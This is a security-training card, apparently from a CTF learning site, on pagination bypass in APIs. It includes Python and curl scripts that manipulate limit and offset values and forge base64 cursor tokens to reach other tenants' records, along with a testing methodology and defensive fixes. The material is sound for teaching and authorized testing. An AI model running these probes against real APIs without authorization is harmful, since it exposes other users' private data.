Browse CTFs New CTF Sign in

Pagination bypass

web_injection_logic Difficulty 1–5 30 min certifiable

Theory

Why This Matters

Pagination bypass vulnerabilities are systematically underreported because they are easy to overlook during development: the application correctly authorizes access to page 1 of a user's own records, but the underlying SQL query does not include a tenant isolation clause, allowing any page offset to return data belonging to other users. A 2020 HackerOne disclosure against a major e-commerce platform showed that ?page=2 returned the second page of all orders platform-wide, not just the authenticated user's orders. The OWASP API Security Top 10 2023 BOLA (Broken Object Level Authorization) category explicitly includes pagination as an access control boundary that must be enforced at every page, not just the first. Financial and healthcare API surfaces are particularly sensitive because paginated endpoints often expose complete transaction histories or patient records.

Core Concept

Pagination is a mechanism for returning large datasets in sequential chunks. Two primary patterns exist:

  1. Offset-based pagination: GET /api/orders?limit=20&offset=0 returns records 0-19; offset=20 returns 20-39. The vulnerability arises when the ORDER BY clause and WHERE clause in the underlying SQL do not filter by the authenticated user: SELECT * FROM orders LIMIT 20 OFFSET 40 returns records for all users, not just the caller's.

  2. Cursor-based pagination: the server issues an opaque next_cursor token encoding position. The vulnerability arises when cursors are not signed — an attacker who forges or manipulates a cursor can jump to arbitrary positions in the full dataset, potentially crossing tenant boundaries.

Parameter manipulation attacks:

  • limit=99999 — requests more records than the UI ever shows, bypassing per-page caps.
  • offset=-1 — negative offset behavior is undefined in many ORMs; some return the last record in the dataset.
  • page=0 (zero-indexed) vs page=1 (one-indexed) — off-by-one errors in page calculation can expose boundary records.
  • Cursor token decode and re-encode — base64-decoded cursors often encode a record ID or timestamp. Replacing with a different value traverses to a different dataset position.
  • Total record count leakage — many paginated responses include {"total": 48291, ...}. This reveals the size of the full dataset, enabling targeted ID enumeration by calculating the last page.

The violated invariant is: the authorization check must be applied at every SQL query, not just at the first request or at the endpoint level. A WHERE user_id = :caller_id clause must appear in every paginated query.

Tenant isolation failure is the most critical variant: a multi-tenant SaaS application authorizes by organization but the pagination query returns records from all organizations sorted by creation date. offset=0 happens to return the caller's records; offset=20 returns the next organization's records.

Technical Deep-Dive

# ── Pagination bypass testing ─────────────────────────────────────────────
import requests, base64, json

BASE_URL = "https://api.example.com"
HEADERS  = {"Authorization": "Bearer YOUR_TOKEN"}

# Step 1: Baseline — fetch first page of own records
r1 = requests.get(f"{BASE_URL}/api/orders", params={"limit": 10, "offset": 0}, headers=HEADERS)
data1 = r1.json()
print("[+] First page records:", len(data1.get("orders", [])))
print("[+] Total count from response:", data1.get("total"))  # Reveals full dataset size

# Step 2: Oversized limit — bypass per-page cap
r_big = requests.get(
    f"{BASE_URL}/api/orders",
    params={"limit": 99999, "offset": 0},
    headers=HEADERS,
)
data_big = r_big.json()
print("[+] Oversized limit returned:", len(data_big.get("orders", [])), "records")

# Step 3: High offset — jump past own records into other users' data
for offset in [100, 1000, 5000, 10000]:
    r = requests.get(
        f"{BASE_URL}/api/orders",
        params={"limit": 5, "offset": offset},
        headers=HEADERS,
    )
    records = r.json().get("orders", [])
    if records:
        user_ids = set(rec.get("user_id") for rec in records)
        print(f"[+] offset={offset}: user_ids in response = {user_ids}")
        # If user IDs differ from our own ID → tenant isolation failure

# Step 4: Negative offset
r_neg = requests.get(
    f"{BASE_URL}/api/orders",
    params={"limit": 5, "offset": -1},
    headers=HEADERS,
)
print("[+] Negative offset status:", r_neg.status_code, r_neg.text[:100])

# ── Cursor-based pagination bypass ─────────────────────────────────────────

# Step 5: Decode a cursor token
r_page1 = requests.get(f"{BASE_URL}/api/transactions", params={"limit": 10}, headers=HEADERS)
cursor = r_page1.json().get("next_cursor")
print("[+] Raw cursor:", cursor)

# Common encodings: base64, JWT, URL-encoded JSON
try:
    decoded = base64.b64decode(cursor + "==").decode("utf-8")
    print("[+] Decoded cursor:", decoded)
    # Example: {"id": 1052, "created_at": "2024-01-15T10:00:00Z"}
    cursor_data = json.loads(decoded)

    # Forge cursor pointing to a different record ID
    cursor_data["id"] = 1   # First record in the entire table
    forged = base64.b64encode(json.dumps(cursor_data).encode()).decode().rstrip("=")
    print("[+] Forged cursor:", forged)

    r_forged = requests.get(
        f"{BASE_URL}/api/transactions",
        params={"limit": 10, "cursor": forged},
        headers=HEADERS,
    )
    print("[+] Forged cursor response:", r_forged.json())
except Exception as e:
    print(f"[-] Cursor decode failed: {e}")
# Quick curl tests
TOKEN="your-token"

# Oversized limit
curl -s "https://api.example.com/api/users?limit=9999&offset=0" 
    -H "Authorization: Bearer $TOKEN" | python3 -m json.tool | wc -l

# High offset to cross into other users' data
curl -s "https://api.example.com/api/users?limit=5&offset=10000" 
    -H "Authorization: Bearer $TOKEN" | python3 -m json.tool

# Reveal total dataset size from response metadata
curl -s "https://api.example.com/api/invoices?limit=1&offset=0" 
    -H "Authorization: Bearer $TOKEN" 
    | python3 -c "import sys,json; d=json.load(sys.stdin); print('Total:', d.get('total','N/A'))"

Security Assessment Methodology

  1. Identify paginated endpoints — Search API documentation and traffic for parameters named limit, offset, page, per_page, cursor, after, before, from. Every endpoint returning a list is a candidate.
  2. Baseline own records and record user IDs — Fetch the first page and note the user IDs of returned records. Confirm these match the authenticated user.
  3. Test oversized limit — Submit limit=99999. If more records than normally shown are returned, note whether any belong to other users.
  4. Test large offset — Increment offset beyond the authenticated user's record count (derived from total field or by counting all pages). Observe whether records from other users or organizations appear.
  5. Decode and forge cursor tokens — Attempt base64, URL decode, and JWT decode on cursor values. Modify the embedded position and resubmit. Verify whether the server validates cursor integrity.
  6. Check total count leakage — Note any total, count, or x-total-count values. These reveal the full dataset size, enabling targeted enumeration. Calculate last page: last_offset = total - limit. Fetch that page.
  7. Cross-tenant test — If the application is multi-tenant, register two accounts in different organizations. From account A, use a high offset to attempt access to account B's records.

Defensive Countermeasure — Include a WHERE user_id = :authenticated_user_id (or equivalent tenant isolation clause) in every paginated database query — never rely on the offset alone for isolation. Enforce a server-side maximum limit value (e.g., 100). Sign cursor tokens with HMAC-SHA256 so that forged cursors are rejected. Do not expose total record counts in responses if the full count reveals sensitive dataset size. Log and alert on unusually large offset or limit values.

Common Assessment Errors

  • Only testing the first page — Authorization may be applied only at the entry point. Testing page 1 of your own records and finding the correct data does not confirm the endpoint is secure for all offsets.
  • Assuming cursor opacity implies security — Base64 is not encryption. Cursors that encode a record ID without an HMAC signature can be trivially forged.
  • Missing total count as an information disclosure finding — Reporting only the authorization bypass without noting that total: 48291 reveals dataset size omits a separate finding (information disclosure).
  • Not testing with a second account — Cross-tenant isolation failures only manifest when data from a different tenant is present. Always use two test accounts in separate organizations.
  • Stopping at 403 on oversized limit — A 403 on limit=99999 may indicate a limit cap but not necessarily correct authorization. Test the maximum allowed limit with a high offset.
  • Ignoring HTTP response headersX-Total-Count, X-Page-Count, and Link headers (RFC 5988) are common pagination metadata sources that expose total dataset size.

NICE Framework Alignment

Code Knowledge/Skill/Task Statement How This Card Develops It
K0007 Knowledge of authentication, authorization, and access control methods Explains per-query vs per-request authorization and cursor integrity requirements
K0065 Knowledge of policy-based controls for data access Connects pagination isolation failure to multi-tenant data access policy
K0070 Knowledge of system and application security threats and vulnerabilities Maps pagination bypass to OWASP BOLA and real-world platform disclosures
S0001 Skill in conducting vulnerability scans and recognizing vulnerabilities in security systems Trains offset manipulation, cursor forging, and cross-tenant verification
T0028 Conduct and support authorized penetration testing on enterprise networks Provides a seven-step assessment procedure for paginated API endpoints
T0570 Conduct application security assessments Frames pagination bypass as a required check for any list-returning API endpoint

Further Reading

  • OWASP API Security Top 10 2023, API1: Broken Object Level Authorization — OWASP Foundation
  • RFC 5988: Web Linking (Link Header for Pagination) — IETF
  • "Broken Pagination and Data Exposure" — Assetnote Research Blog

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.